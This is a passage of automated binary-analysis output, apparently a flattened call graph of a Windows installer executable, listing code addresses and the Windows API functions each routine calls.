3660 402593 RegCloseKey 3656->3660 3657->3660 3661 4064be wsprintfW 3657->3661 3660->3655 3661->3660 3662 4021cf 3663 402dcb 21 API calls 3662->3663 3664 4021d6 3663->3664 3665 402dcb 21 API calls 3664->3665 3666 4021e0 3665->3666 3667 402dcb 21 API calls 3666->3667 3668 4021ea 3667->3668 3669 402dcb 21 API calls 3668->3669 3670 4021f4 3669->3670 3671 402dcb 21 API calls 3670->3671 3672 4021fe 3671->3672 3673 40223d CoCreateInstance 3672->3673 3674 402dcb 21 API calls 3672->3674 3677 40225c 3673->3677 3674->3673 3675 401423 28 API calls 3676 40231b 3675->3676 3677->3675 3677->3676 3034 403552 SetErrorMode GetVersionExW 3035 4035a6 GetVersionExW 3034->3035 3036 4035de 3034->3036 3035->3036 3037 403635 3036->3037 3038 40696b 5 API calls 3036->3038 3039 4068fb 3 API calls 3037->3039 3038->3037 3040 40364b lstrlenA 3039->3040 3040->3037 3041 40365b 3040->3041 3042 40696b 5 API calls 3041->3042 3043 403662 3042->3043 3044 40696b 5 API calls 3043->3044 3045 403669 3044->3045 3046 40696b 5 API calls 3045->3046 3047 403675 #17 OleInitialize SHGetFileInfoW 3046->3047 3122 406577 lstrcpynW 3047->3122 3050 4036c4 GetCommandLineW 3123 406577 lstrcpynW 3050->3123 3052 4036d6 3053 405e73 CharNextW 3052->3053 3054 4036fc CharNextW 3053->3054 3059 40370e 3054->3059 3055 403810 3056 403824 GetTempPathW 3055->3056 3124 403521 3056->3124 3058 40383c 3060 403840 GetWindowsDirectoryW lstrcatW 3058->3060 3061 403896 DeleteFileW 3058->3061 3059->3055 3062 405e73 CharNextW 3059->3062 3068 403812 3059->3068 3063 403521 12 API calls 3060->3063 3134 4030a2 GetTickCount GetModuleFileNameW 3061->3134 3062->3059 3065 40385c 3063->3065 3065->3061 3067 403860 GetTempPathW lstrcatW SetEnvironmentVariableW SetEnvironmentVariableW 3065->3067 3066 4038aa 3069 403a9d ExitProcess CoUninitialize 3066->3069 3074 403951 3066->3074 3075 405e73 CharNextW 3066->3075 3071 403521 12 API calls 3067->3071 3219 406577 lstrcpynW 3068->3219 3072 403ad3 3069->3072 3073 403aaf 3069->3073 3079 40388e 3071->3079 3076 403b57 ExitProcess 3072->3076 3077 403adb GetCurrentProcess OpenProcessToken 3072->3077 3080 405bd7 MessageBoxIndirectW 3073->3080 3162 403c49 3074->3162 3090 4038c9 3075->3090 3081 403af3 LookupPrivilegeValueW AdjustTokenPrivileges 3077->3081 3082 403b27 3077->3082 3079->3061 3079->3069 3085 403abd ExitProcess 3080->3085 3081->3082 3086 40696b 5 API calls 3082->3086 3087 403b2e 3086->3087 3092 403b43 ExitWindowsEx 3087->3092 3095 403b50 3087->3095 3088 403927 3220 405f4e 3088->3220 3089 40396a 3236 405b42 3089->3236 3090->3088 3090->3089 3092->3076 3092->3095 3294 40140b 3095->3294 3099 403989 3101 4039a1 3099->3101 3240 406577 lstrcpynW 3099->3240 3105 4039c7 wsprintfW 3101->3105 3119 4039f3 3101->3119 3102 403946 3235 406577 lstrcpynW 3102->3235 3106 4065b4 21 API calls 3105->3106 3106->3101 3109 403a03 GetFileAttributesW 3111 403a0f DeleteFileW 3109->3111 3109->3119 3110 403a3d SetCurrentDirectoryW 3283 406337 MoveFileExW 3110->3283 3111->3119 3113 403a3b 3113->3069 3116 406337 40 API calls 3116->3119 3117 4065b4 21 API calls 3117->3119 3119->3101 3119->3105 3119->3109 3119->3110 3119->3113 3119->3116 3119->3117 3120 403ac5 CloseHandle 3119->3120 3241 405acb CreateDirectoryW 3119->3241 3244 405b25 CreateDirectoryW 3119->3244 3247 405c83 3119->3247 3288 405b5a CreateProcessW 3119->3288 3291 4068d4 FindFirstFileW 3119->3291 3120->3113 3122->3050 3123->3052 3125 406825 5 API calls 3124->3125 3127 40352d 3125->3127 3126 403537 3126->3058 3127->3126 3297 405e46 lstrlenW CharPrevW 3127->3297 3130 405b25 2 API calls 3131 403545 3130->3131 3132 406096 2 API calls 3131->3132 3133 403550 3132->3133 3133->3058 3300 406067 GetFileAttributesW CreateFileW 3134->3300 3136 4030e2 3156 4030f2 3136->3156 3301 406577 lstrcpynW 3136->3301 3138 403108 3302 405e92 lstrlenW 3138->3302 3142 403119 GetFileSize 3143 403130 3142->3143 3159 403213 3142->3159 3149 40327f 3143->3149 3143->3156 3157 40303e 6 API calls 3143->3157 3143->3159 3339 4034f4 3143->3339 3145 40321c 3147 40324c GlobalAlloc 3145->3147 3145->3156 3342 40350a SetFilePointer 3145->3342 3318 40350a SetFilePointer 3147->3318 3153 40303e 6 API calls 3149->3153 3151 403235 3154 4034f4 ReadFile 3151->3154 3152 403267 3319 4032d9 3152->3319 3153->3156 3158 403240 3154->3158 3156->3066 3157->3143 3158->3147 3158->3156 3307 40303e 3159->3307 3160 403273 3160->3156 3160->3160 3161 4032b0 SetFilePointer 3160->3161 3161->3156 3163 40696b 5 API calls 3162->3163 3164 403c5d 3163->3164 3165 403c63 3164->3165 3166 403c75 3164->3166 3371 4064be wsprintfW 3165->3371 3167 406445 3 API calls 3166->3167 3169 403ca5 3167->3169 3168 403cc4 lstrcatW 3172 403c73 3168->3172 3169->3168 3171 406445 3 API calls 3169->3171 3171->3168 3363 403f1f 3172->3363 3175 405f4e 18 API calls 3176 403cf6 3175->3176 3177 403d8a 3176->3177 3179 406445 3 API calls 3176->3179 3178 405f4e 18 API calls 3177->3178 3180 403d90 3178->3180 3182 403d28 3179->3182 3181 403da0 LoadImageW 3180->3181 3183 4065b4 21 API calls 3180->3183 3184 403e46 3181->3184 3185 403dc7 RegisterClassW 3181->3185 3182->3177 3186 403d49 lstrlenW 3182->3186 3189 405e73 CharNextW 3182->3189 3183->3181 3188 40140b 2 API calls 3184->3188 3187 403dfd SystemParametersInfoW CreateWindowExW 3185->3187 3217 403961 3185->3217 3190 403d57 lstrcmpiW 3186->3190 3191 403d7d 3186->3191 3187->3184 3192 403e4c 3188->3192 3193 403d46 3189->3193 3190->3191 3194 403d67 GetFileAttributesW 3190->3194 3195 405e46 3 API calls 3191->3195 3197 403f1f 22 API calls 3192->3197 3192->3217 3193->3186 3196 403d73 3194->3196 3198 403d83 3195->3198 3196->3191 3199 405e92 2 API calls 3196->3199 3200 403e5d 3197->3200 3372 406577 lstrcpynW 3198->3372 3199->3191 3202 403e69 ShowWindow 3200->3202 3203 403eec 3200->3203 3205 4068fb 3 API calls 3202->3205 3373 4056cf OleInitialize 3203->3373 3207 403e81 3205->3207 3206 403ef2 3208 403ef6 3206->3208 3209 403f0e 3206->3209 3210 403e8f GetClassInfoW 3207->3210 3212 4068fb 3 API calls 3207->3212 3216 40140b 2 API calls 3208->3216 3208->3217 3211 40140b 2 API calls 3209->3211 3213 403ea3 GetClassInfoW RegisterClassW 3210->3213 3214 403eb9 DialogBoxParamW 3210->3214 3211->3217 3212->3210 3213->3214 3215 40140b 2 API calls 3214->3215 3218 403ee1 3215->3218 3216->3217 3217->3069 3218->3217 3219->3056 3391 406577 lstrcpynW 3220->3391 3222 405f5f 3392 405ef1 CharNextW CharNextW 3222->3392 3225 403933 3225->3069 3234 406577 lstrcpynW 3225->3234 3226 406825 5 API calls 3232 405f75 3226->3232 3227 405fa6 lstrlenW 3228 405fb1 3227->3228 3227->3232 3230 405e46 3 API calls 3228->3230 3229 4068d4 2 API calls 3229->3232 3231 405fb6 GetFileAttributesW 3230->3231 3231->3225 3232->3225 3232->3227 3232->3229 3233 405e92 2 API calls 3232->3233 3233->3227 3234->3102 3235->3074 3237 40696b 5 API calls 3236->3237 3238 40396f lstrlenW 3237->3238 3239 406577 lstrcpynW 3238->3239 3239->3099 3240->3101 3242 405b17 3241->3242 3243 405b1b GetLastError 3241->3243 3242->3119 3243->3242 3245 405b35 3244->3245 3246 405b39 GetLastError 3244->3246 3245->3119 3246->3245 3248 405f4e 18 API calls 3247->3248 3249 405ca3 3248->3249 3250 405cc2 3249->3250 3251 405cab DeleteFileW 3249->3251 3256 405de2 3250->3256 3398 406577 lstrcpynW 3250->3398 3280 405df9 3251->3280 3253 405ce8 3254 405cfb 3253->3254 3255 405cee lstrcatW 3253->3255 3257 405e92 2 API calls 3254->3257 3261 405d01 3255->3261 3258 4068d4 2 API calls 3256->3258 3256->3280 3257->3261 3259 405e07 3258->3259 3263 405e46 3 API calls 3259->3263 3259->3280 3260 405d11 lstrcatW 3262 405d1c lstrlenW FindFirstFileW 3260->3262 3261->3260 3261->3262 3262->3256 3281 405d3e 3262->3281 3264 405e11 3263->3264 3266 405c3b 5 API calls 3264->3266 3265 405dc5 FindNextFileW 3269 405ddb FindClose 3265->3269 3265->3281 3268 405e1d 3266->3268 3270 405e21 3268->3270 3271 405e37 3268->3271 3269->3256 3274 4055fc 28 API calls 3270->3274 3270->3280 3273 4055fc 28 API calls 3271->3273 3273->3280 3276 405e2e 3274->3276 3275 405c83 64 API calls 3275->3281 3278 406337 40 API calls 3276->3278 3277 4055fc 28 API calls 3277->3265 3278->3280 3279 4055fc 28 API calls 3279->3281 3280->3119 3281->3265 3281->3275 3281->3277 3281->3279 3282 406337 40 API calls 3281->3282 3399 406577 lstrcpynW 3281->3399 3400 405c3b 3281->3400 3282->3281 3284 403a4c CopyFileW 3283->3284 3285 40634b 3283->3285 3284->3113 3284->3119 3411 4061bd 3285->3411 3289 405b99 3288->3289 3290 405b8d CloseHandle 3288->3290 3289->3119 3290->3289 3292 4068f5 3291->3292 3293 4068ea FindClose 3291->3293 3292->3119 3293->3292 3295 401389 2 API calls 3294->3295 3296 401420 3295->3296 3296->3076 3298 405e62 lstrcatW 3297->3298 3299 40353f 3297->3299 3298->3299 3299->3130 3300->3136 3301->3138 3303 405ea0 3302->3303 3304 40310e 3303->3304 3305 405ea6 CharPrevW 3303->3305 3306 406577 lstrcpynW 3304->3306 3305->3303 3305->3304 3306->3142 3308 403047 3307->3308 3309 40305f 3307->3309 3310 403050 DestroyWindow 3308->3310 3311 403057 3308->3311 3312 403067 3309->3312 3313 40306f GetTickCount 3309->3313 3310->3311 3311->3145 3343 4069a7 3312->3343 3315 4030a0 3313->3315 3316 40307d CreateDialogParamW ShowWindow 3313->3316 3315->3145 3316->3315 3318->3152 3321 4032f2 3319->3321 3320 403320 3323 4034f4 ReadFile 3320->3323 3321->3320 3349 40350a SetFilePointer 3321->3349 3324 40332b 3323->3324 3325 40348d 3324->3325 3326 40333d GetTickCount 3324->3326 3328 403477 3324->3328 3327 4034cf 3325->3327 3332 403491 3325->3332 3326->3328 3335 40338c 3326->3335 3329 4034f4 ReadFile 3327->3329 3328->3160 3329->3328 3330 4034f4 ReadFile 3330->3335 3331 4034f4 ReadFile 3331->3332 3332->3328 3332->3331 3333 406119 WriteFile 3332->3333 3333->3332 3334 4033e2 GetTickCount 3334->3335 3335->3328 3335->3330 3335->3334 3336 403407 MulDiv wsprintfW 3335->3336 3347 406119 WriteFile 3335->3347 3350 4055fc 3336->3350 3361 4060ea ReadFile 3339->3361 3342->3151 3344 4069c4 PeekMessageW 3343->3344 3345 40306d 3344->3345 3346 4069ba DispatchMessageW 3344->3346 3345->3145 3346->3344 3348 406137 3347->3348 3348->3335 3349->3320 3351 405617 3350->3351 3352 4056b9 3350->3352 3353 405633 lstrlenW 3351->3353 3354 4065b4 21 API calls 3351->3354 3352->3335 3355 405641 lstrlenW 3353->3355 3356 40565c 3353->3356 3354->3353 3355->3352 3357 405653 lstrcatW 3355->3357 3358 405662 SetWindowTextW 3356->3358 3359 40566f 3356->3359 3357->3356 3358->3359 3359->3352 3360 405675 SendMessageW SendMessageW SendMessageW 3359->3360 3360->3352 3362 403507 3361->3362 3362->3143 3364 403f33 3363->3364 3380 4064be wsprintfW 3364->3380 3366 403fa4 3381 403fd8 3366->3381 3368 403cd4 3368->3175 3369 403fa9 3369->3368 3370 4065b4 21 API calls 3369->3370 3370->3369 3371->3172 3372->3177 3384 404542 3373->3384 3375 404542 SendMessageW 3376 40572b OleUninitialize 3375->3376 3376->3206 3378 405719 3378->3375 3379 4056f2 3379->3378 3387 401389 3379->3387 3380->3366 3382 4065b4 21 API calls 3381->3382 3383 403fe6 SetWindowTextW 3382->3383 3383->3369 3385 40455a 3384->3385 3386 40454b SendMessageW 3384->3386 3385->3379 3386->3385 3389 401390 3387->3389 3388 4013fe 3388->3379 3389->3388 3390 4013cb MulDiv SendMessageW 3389->3390 3390->3389 3391->3222 3393 405f0e 3392->3393 3395 405f20 3392->3395 3394 405f1b CharNextW 3393->3394 3393->3395 3397 405f44 3394->3397 3396 405e73 CharNextW 3395->3396 3395->3397 3396->3395 3397->3225 3397->3226 3398->3253 3399->3281 3408 406042 GetFileAttributesW 3400->3408 3403 405c68 3403->3281 3404 405c56 RemoveDirectoryW 3406 405c64 3404->3406 3405 405c5e DeleteFileW 3405->3406 3406->3403 3407 405c74 SetFileAttributesW 3406->3407 3407->3403 3409 405c47 3408->3409 3410 406054 SetFileAttributesW 3408->3410 3409->3403 3409->3404 3409->3405 3410->3409 3412 406213 GetShortPathNameW 3411->3412 3413 4061ed 3411->3413 3415 406332 3412->3415 3416 406228 3412->3416 3438 406067 GetFileAttributesW CreateFileW 3413->3438 3415->3284 3416->3415 3418 406230 wsprintfA 3416->3418 3417 4061f7 CloseHandle GetShortPathNameW 3417->3415 3419 40620b 3417->3419 3420 4065b4 21 API calls 3418->3420 3419->3412 3419->3415 3421 406258 3420->3421 3439 406067 GetFileAttributesW CreateFileW 3421->3439 3423 406265 3423->3415 3424 406274 GetFileSize GlobalAlloc 3423->3424 3425 406296 3424->3425 3426 40632b CloseHandle 3424->3426 3427 4060ea ReadFile 3425->3427 3426->3415 3428 40629e 3427->3428 3428->3426 3440 405fcc lstrlenA 3428->3440 3431 4062b5 lstrcpyA 3434 4062d7 3431->3434 3432 4062c9 3433 405fcc 4 API calls 3432->3433 3433->3434 3435 40630e SetFilePointer 3434->3435 3436 406119 WriteFile 3435->3436 3437 406324 GlobalFree 3436->3437 3437->3426 3438->3417 3439->3423 3441 40600d lstrlenA 3440->3441 3442 406015 3441->3442 3443 405fe6 lstrcmpiA 3441->3443 3442->3431 3442->3432 3443->3442 3444 406004 CharNextA 3443->3444 3444->3441 3678 401a55 3679 402dcb 21 API calls 3678->3679 3680 401a5e ExpandEnvironmentStringsW 3679->3680 3681 401a72 3680->3681 3683 401a85 3680->3683 3682 401a77 lstrcmpW 3681->3682 3681->3683 3682->3683 3684 4014d7 3685 402da9 21 API calls 3684->3685 3686 4014dd Sleep 3685->3686 3688 402c4f 3686->3688 3694 4023d7 3695 4023e5 3694->3695 3696 4023df 3694->3696 3697 4023f3 3695->3697 3699 402dcb 21 API calls 3695->3699 3698 402dcb 21 API calls 3696->3698 3700 402401 3697->3700 3701 402dcb 21 API calls 3697->3701 3698->3695 3699->3697 3702 402dcb 21 API calls 3700->3702 3701->3700 3703 40240a WritePrivateProfileStringW 3702->3703 3704 402459 3705 402461 3704->3705 3706 40248c 3704->3706 3708 402e0b 21 API calls 3705->3708 3707 402dcb 21 API calls 3706->3707 3709 402493 3707->3709 3711 402468 3708->3711 3715 402e89 3709->3715 3712 402dcb 21 API calls 3711->3712 3713 4024a0 3711->3713 3714 402479 RegDeleteValueW RegCloseKey 3712->3714 3714->3713 3716 402e96 3715->3716 3717 402e9d 3715->3717 3716->3713 3717->3716 3719 402ece 3717->3719 3720 4063e4 RegOpenKeyExW 3719->3720 3721 402efc 3720->3721 3722 402f0c RegEnumValueW 3721->3722 3729 402f2f 3721->3729 3730 402fa6 3721->3730 3723 402f96 RegCloseKey 3722->3723 3722->3729 3723->3730 3724 402f6b RegEnumKeyW 3725 402f74 RegCloseKey 3724->3725 3724->3729 3726 40696b 5 API calls 3725->3726 3728 402f84 3726->3728 3727 402ece 6 API calls 3727->3729 3728->3730 3731 402f88 RegDeleteKeyW 3728->3731 3729->3723 3729->3724 3729->3725 3729->3727 3730->3716 3731->3730 3732 40175a 3733 402dcb 21 API calls 3732->3733 3734 401761 SearchPathW 3733->3734 3735 40177c 3734->3735 3736 401d5d 3737 402da9 21 API calls 3736->3737 3738 401d64 3737->3738 3739 402da9 21 API calls 3738->3739 3740 401d70 GetDlgItem 3739->3740 3741 40265d 3740->3741 3742 404f63 GetDlgItem GetDlgItem 3743 404fb5 7 API calls 3742->3743 3749 4051da 3742->3749 3744 40505c DeleteObject 3743->3744 3745 40504f SendMessageW 3743->3745 3746 405065 3744->3746 3745->3744 3747 40509c 3746->3747 3750 4065b4 21 API calls 3746->3750 3794 4044f6 3747->3794 3748 4052bc 3752 405368 3748->3752 3762 405315 SendMessageW 3748->3762 3785 4051cd 3748->3785 3749->3748 3781 405249 3749->3781 3799 404eb1 SendMessageW 3749->3799 3755 40507e SendMessageW SendMessageW 3750->3755 3753 405372 SendMessageW 3752->3753 3754 40537a 3752->3754 3753->3754 3759 4053a3 3754->3759 3764 405393 3754->3764 3765 40538c ImageList_Destroy 3754->3765 3755->3746 3756 4050b0 3761 4044f6 22 API calls 3756->3761 3757 4052ae SendMessageW 3757->3748 3766 40551d 3759->3766 3789 4053de 3759->3789 3804 404f31 3759->3804 3773 4050c1 3761->3773 3767 40532a SendMessageW 3762->3767 3762->3785 3764->3759 3768 40539c GlobalFree 3764->3768 3765->3764 3771 40552f ShowWindow GetDlgItem ShowWindow 3766->3771 3766->3785 3770 40533d 3767->3770 3768->3759 3769 40519c GetWindowLongW SetWindowLongW 3772 4051b5 3769->3772 3776 40534e SendMessageW 3770->3776 3771->3785 3774 4051d2 3772->3774 3775 4051ba ShowWindow 3772->3775 3773->3769 3777 405197 3773->3777 3780 405114 SendMessageW 3773->3780 3782 405152 SendMessageW 3773->3782 3783 405166 SendMessageW 3773->3783 3798 40452b SendMessageW 3774->3798 3797 40452b SendMessageW 3775->3797 3776->3752 3777->3769 3777->3772 3780->3773 3781->3748 3781->3757 3782->3773 3783->3773 3816 40455d 3785->3816 3786 4054e8 3787 4054f3 InvalidateRect 3786->3787 3790 4054ff 3786->3790 3787->3790 3788 40540c SendMessageW 3792 405422 3788->3792 3789->3788 3789->3792 3790->3766 3813 404e6c 3790->3813 3791 405496 SendMessageW SendMessageW 3791->3792 3792->3786 3792->3791 3795 4065b4 21 API calls 3794->3795 3796 404501 SetDlgItemTextW 3795->3796 3796->3756 3797->3785 3798->3749 3800 404f10 SendMessageW 3799->3800 3801 404ed4 GetMessagePos ScreenToClient SendMessageW 3799->3801 3802 404f08 3800->3802 3801->3802 3803 404f0d 3801->3803 3802->3781 3803->3800 3830 406577 lstrcpynW 3804->3830 3806 404f44 3831 4064be wsprintfW 3806->3831 3808 404f4e 3809 40140b 2 API calls 3808->3809 3810 404f57 3809->3810 3832 406577 lstrcpynW 3810->3832 3812 404f5e 3812->3789 3833 404da3 3813->3833 3815 404e81 3815->3766 3817 404575 GetWindowLongW 3816->3817 3827 404620 3816->3827 3818 40458a 3817->3818 3817->3827 3819 4045b7 GetSysColor 3818->3819 3820 4045ba 3818->3820 3818->3827 3819->3820 3821 4045c0 SetTextColor 3820->3821 3822 4045ca SetBkMode 3820->3822 3821->3822 3823 4045e2 GetSysColor 3822->3823 3824 4045e8 3822->3824 3823->3824 3825 4045f9 3824->3825 3826 4045ef SetBkColor 3824->3826 3825->3827 3828 404613 CreateBrushIndirect 3825->3828 3829 40460c DeleteObject 3825->3829 3826->3825 3828->3827 3829->3828 3830->3806 3831->3808 3832->3812 3834 404dbc 3833->3834 3835 4065b4 21 API calls 3834->3835 3836 404e20 3835->3836 3837 4065b4 21 API calls 3836->3837 3838 404e2b 3837->3838 3839 4065b4 21 API calls 3838->3839 3840 404e41 lstrlenW wsprintfW SetDlgItemTextW 3839->3840 3840->3815 3841 402663 3842 402692 3841->3842 3843 402677 3841->3843 3845 4026c2 3842->3845 3846 402697 3842->3846 3844 402da9 21 API calls 3843->3844 3855 40267e 3844->3855 3847 402dcb 21 API calls 3845->3847 3848 402dcb 21 API calls 3846->3848 3849 4026c9 lstrlenW 3847->3849 3850 40269e 3848->3850 3849->3855 3858 406599 WideCharToMultiByte 3850->3858 3852 4026b2 lstrlenA 3852->3855 3853 4026f6 3854 40270c 3853->3854 3856 406119 WriteFile 3853->3856 3855->3853 3855->3854 3859 406148 SetFilePointer 3855->3859 3856->3854 3858->3852 3860 406164 3859->3860 3865 40617c 3859->3865 3861 4060ea ReadFile 3860->3861 3862 406170 3861->3862 3863 406185 SetFilePointer 3862->3863 3864 4061ad SetFilePointer 3862->3864 3862->3865 3863->3864 3866 406190 3863->3866 3864->3865 3865->3853 3867 406119 WriteFile 3866->3867 3867->3865 3486 4015e6 3487 402dcb 21 API calls 3486->3487 3488 4015ed 3487->3488 3489 405ef1 4 API calls 3488->3489 3501 4015f6 3489->3501 3490 401656 3492 401688 3490->3492 3493 40165b 3490->3493 3491 405e73 CharNextW 3491->3501 3496 401423 28 API calls 3492->3496 3505 401423 3493->3505 3503 401680 3496->3503 3498 405b25 2 API calls 3498->3501 3499 405b42 5 API calls 3499->3501 3500 40166f SetCurrentDirectoryW 3500->3503 3501->3490 3501->3491 3501->3498 3501->3499 3502 40163c GetFileAttributesW 3501->3502 3504 405acb 2 API calls 3501->3504 3502->3501 3504->3501 3506 4055fc 28 API calls 3505->3506 3507 401431 3506->3507 3508 406577 lstrcpynW 3507->3508 3508->3500 3868 404666 lstrlenW 3869 404685 3868->3869 3870 404687 WideCharToMultiByte 3868->3870 3869->3870 3871 4049e7 3872 404a13 3871->3872 3873 404a24 3871->3873 3932 405bbb GetDlgItemTextW 3872->3932 3875 404a30 GetDlgItem 3873->3875 3876 404a8f 3873->3876 3878 404a44 3875->3878 3885 4065b4 21 API calls 3876->3885 3893 404b73 3876->3893 3930 404d22 3876->3930 3877 404a1e 3879 406825 5 API calls 3877->3879 3880 404a58 SetWindowTextW 3878->3880 3883 405ef1 4 API calls 3878->3883 3879->3873 3884 4044f6 22 API calls 3880->3884 3882 40455d 8 API calls 3887 404d36 3882->3887 3888 404a4e 3883->3888 3889 404a74 3884->3889 3890 404b03 SHBrowseForFolderW 3885->3890 3886 404ba3 3891 405f4e 18 API calls 3886->3891 3888->3880 3896 405e46 3 API calls 3888->3896 3892 4044f6 22 API calls 3889->3892 3890->3893 3894 404b1b CoTaskMemFree 3890->3894 3895 404ba9 3891->3895 3897 404a82 3892->3897 3893->3930 3934 405bbb GetDlgItemTextW 3893->3934 3898 405e46 3 API calls 3894->3898 3935 406577 lstrcpynW 3895->3935 3896->3880 3933 40452b SendMessageW 3897->3933 3900 404b28 3898->3900 3903 404b5f SetDlgItemTextW 3900->3903 3907 4065b4 21 API calls 3900->3907 3902 404a88 3905 40696b 5 API calls 3902->3905 3903->3893 3904 404bc0 3906 40696b 5 API calls 3904->3906 3905->3876 3913 404bc7 3906->3913 3909 404b47 lstrcmpiW 3907->3909 3908 404c08 3936 406577 lstrcpynW 3908->3936 3909->3903 3910 404b58 lstrcatW 3909->3910 3910->3903 3912 404c0f 3914 405ef1 4 API calls 3912->3914 3913->3908 3918 405e92 2 API calls 3913->3918 3919 404c60 3913->3919 3915 404c15 GetDiskFreeSpaceW 3914->3915 3917 404c39 MulDiv 3915->3917 3915->3919 3917->3919 3918->3913 3920 404cd1 3919->3920 3922 404e6c 24 API calls 3919->3922 3921 404cf4 3920->3921 3923 40140b 2 API calls 3920->3923 3937 404518 EnableWindow 3921->3937 3924 404cbe 3922->3924 3923->3921 3926 404cd3 SetDlgItemTextW 3924->3926 3927 404cc3 3924->3927 3926->3920 3929 404da3 24 API calls 3927->3929 3928 404d10 3928->3930 3938 404940 3928->3938 3929->3920 3930->3882 3932->3877 3933->3902 3934->3886 3935->3904 3936->3912 3937->3928 3939 404953 SendMessageW 3938->3939 3940 40494e 3938->3940 3939->3930 3940->3939 3941 401c68 3942 402da9 21 API calls 3941->3942 3943 401c6f 3942->3943 3944 402da9 21 API calls 3943->3944 3945 401c7c 3944->3945 3946 401c91 3945->3946 3947 402dcb 21 API calls 3945->3947 3948 401ca1 3946->3948 3949 402dcb 21 API calls 3946->3949 3947->3946 3950 401cf8 3948->3950 3951 401cac 3948->3951 3949->3948 3952 402dcb 21 API calls 3950->3952 3953 402da9 21 API calls 3951->3953 3954 401cfd 3952->3954 3955 401cb1 3953->3955 3956 402dcb 21 API calls 3954->3956 3957 402da9 21 API calls 3955->3957 3958 401d06 FindWindowExW 3956->3958 3959 401cbd 3957->3959 3962 401d28 3958->3962 3960 401ce8 SendMessageW 3959->3960 3961 401cca SendMessageTimeoutW 3959->3961 3960->3962 3961->3962 3963 4028e9 3964 4028ef 3963->3964 3965 4028f7 FindClose 3964->3965 3966 402c4f 3964->3966 3965->3966 3566 403b6f 3567 403b87 3566->3567 3568 403b79 CloseHandle 3566->3568 3573 403bb4 3567->3573 3568->3567 3571 405c83 71 API calls 3572 403b98 3571->3572 3574 403bc2 3573->3574 3575 403b8c 3574->3575 3576 403bc7 FreeLibrary GlobalFree 3574->3576 3575->3571 3576->3575 3576->3576 3967 405570 3968 405580 3967->3968 3969 405594 3967->3969 3970 405586 3968->3970 3971 4055dd 3968->3971 3972 40559c IsWindowVisible 3969->3972 3978 4055b3 3969->3978 3973 404542 SendMessageW 3970->3973 3975 4055e2 CallWindowProcW 3971->3975 3972->3971 3974 4055a9 3972->3974 3976 405590 3973->3976 3977 404eb1 5 API calls 3974->3977 3975->3976 3977->3978 3978->3975 3979 404f31 4 API calls 3978->3979 3979->3971 3980 4016f1 3981 402dcb 21 API calls 3980->3981 3982 4016f7 GetFullPathNameW 3981->3982 3983 401711 3982->3983 3989 401733 3982->3989 3985 4068d4 2 API calls 3983->3985 3983->3989 3984 401748 GetShortPathNameW 3986 402c4f 3984->3986 3987 401723 3985->3987 3987->3989 3990 406577 lstrcpynW 3987->3990 3989->3984 3989->3986 3990->3989 3991 401e73 GetDC 3992 402da9 21 API calls 3991->3992 3993 401e85 GetDeviceCaps MulDiv ReleaseDC 3992->3993 3994 402da9 21 API calls 3993->3994 3995 401eb6 3994->3995 3996 4065b4 21 API calls 3995->3996 3997 401ef3 CreateFontIndirectW 3996->3997 3998 40265d 3997->3998 3999 402975 4000 402dcb 21 API calls 3999->4000 4001 402981 4000->4001 4002 402997 4001->4002 4003 402dcb 21 API calls 4001->4003 4004 406042 2 API calls 4002->4004 4003->4002 4005 40299d 4004->4005 4027 406067 GetFileAttributesW CreateFileW 4005->4027 4007 4029aa 4008 402a60 4007->4008 4009 4029c5 GlobalAlloc 4007->4009 4010 402a48 4007->4010 4011 402a67 DeleteFileW 4008->4011 4012 402a7a 4008->4012 4009->4010 4013 4029de 4009->4013 4014 4032d9 35 API calls 4010->4014 4011->4012 4028 40350a SetFilePointer 4013->4028 4016 402a55 CloseHandle 4014->4016 4016->4008 4017 4029e4 4018 4034f4 ReadFile 4017->4018 4019 4029ed GlobalAlloc 4018->4019 4020 402a31 4019->4020 4021 4029fd 4019->4021 4023 406119 WriteFile 4020->4023 4022 4032d9 35 API calls 4021->4022 4026 402a0a 4022->4026 4024 402a3d GlobalFree 4023->4024 4024->4010 4025 402a28 GlobalFree 4025->4020 4026->4025 4027->4007 4028->4017 4029 4014f5 SetForegroundWindow 4030 402c4f 4029->4030 4031 403ff7 4032 404170 4031->4032 4033 40400f 4031->4033 4034 404181 GetDlgItem GetDlgItem 4032->4034 4035 4041c1 4032->4035 4033->4032 4036 40401b 4033->4036 4037 4044f6 22 API calls 4034->4037 4038 40421b 4035->4038 4050 401389 2 API calls 4035->4050 4039 404026 SetWindowPos 4036->4039 4040 404039 4036->4040 4041 4041ab SetClassLongW 4037->4041 4042 404542 SendMessageW 4038->4042 4060 40416b 4038->4060 4039->4040 4043 404042 ShowWindow 4040->4043 4044 404084 4040->4044 4047 40140b 2 API calls 4041->4047 4072 40422d 4042->4072 4045 404062 GetWindowLongW 4043->4045 4046 40412e 4043->4046 4048 4040a3 4044->4048 4049 40408c DestroyWindow 4044->4049 4045->4046 4051 40407b ShowWindow 4045->4051 4055 40455d 8 API calls 4046->4055 4047->4035 4052 4040a8 SetWindowLongW 4048->4052 4053 4040b9 4048->4053 4101 40447f 4049->4101 4054 4041f3 4050->4054 4051->4044 4052->4060 4053->4046 4058 4040c5 GetDlgItem 4053->4058 4054->4038 4059 4041f7 SendMessageW 4054->4059 4055->4060 4056 40140b 2 API calls 4056->4072 4057 404481 DestroyWindow EndDialog 4057->4101 4062 4040f3 4058->4062 4063 4040d6 SendMessageW IsWindowEnabled 4058->4063 4059->4060 4061 4044b0 ShowWindow 4061->4060 4065 404100 4062->4065 4068 404147 SendMessageW 4062->4068 4069 404113 4062->4069 4075 4040f8 4062->4075 4063->4060 4063->4062 4064 4065b4 21 API calls 4064->4072 4065->4068 4065->4075 4067 4044f6 22 API calls 4067->4072 4068->4046 4070 404130 4069->4070 4071 40411b 4069->4071 4074 40140b 2 API calls 4070->4074 4073 40140b 2 API calls 4071->4073 4072->4056 4072->4057 4072->4060 4072->4064 4072->4067 4076 4044f6 22 API calls 4072->4076 4092 4043c1 DestroyWindow 4072->4092 4073->4075 4074->4075 4075->4046 4102 4044cf 4075->4102 4077 4042a8 GetDlgItem 4076->4077 4078 4042c5 ShowWindow EnableWindow 4077->4078 4079 4042bd 4077->4079 4105 404518 EnableWindow 4078->4105 4079->4078 4081 4042ef EnableWindow 4086 404303 4081->4086 4082 404308 GetSystemMenu EnableMenuItem SendMessageW 4083 404338 SendMessageW 4082->4083 4082->4086 4083->4086 4085 403fd8 22 API calls 4085->4086 4086->4082 4086->4085 4106 40452b SendMessageW 4086->4106 4107 406577 lstrcpynW 4086->4107 4088 404367 lstrlenW 4089 4065b4 21 API calls 4088->4089 4090 40437d SetWindowTextW 4089->4090 4091 401389 2 API calls 4090->4091 4091->4072 4093 4043db 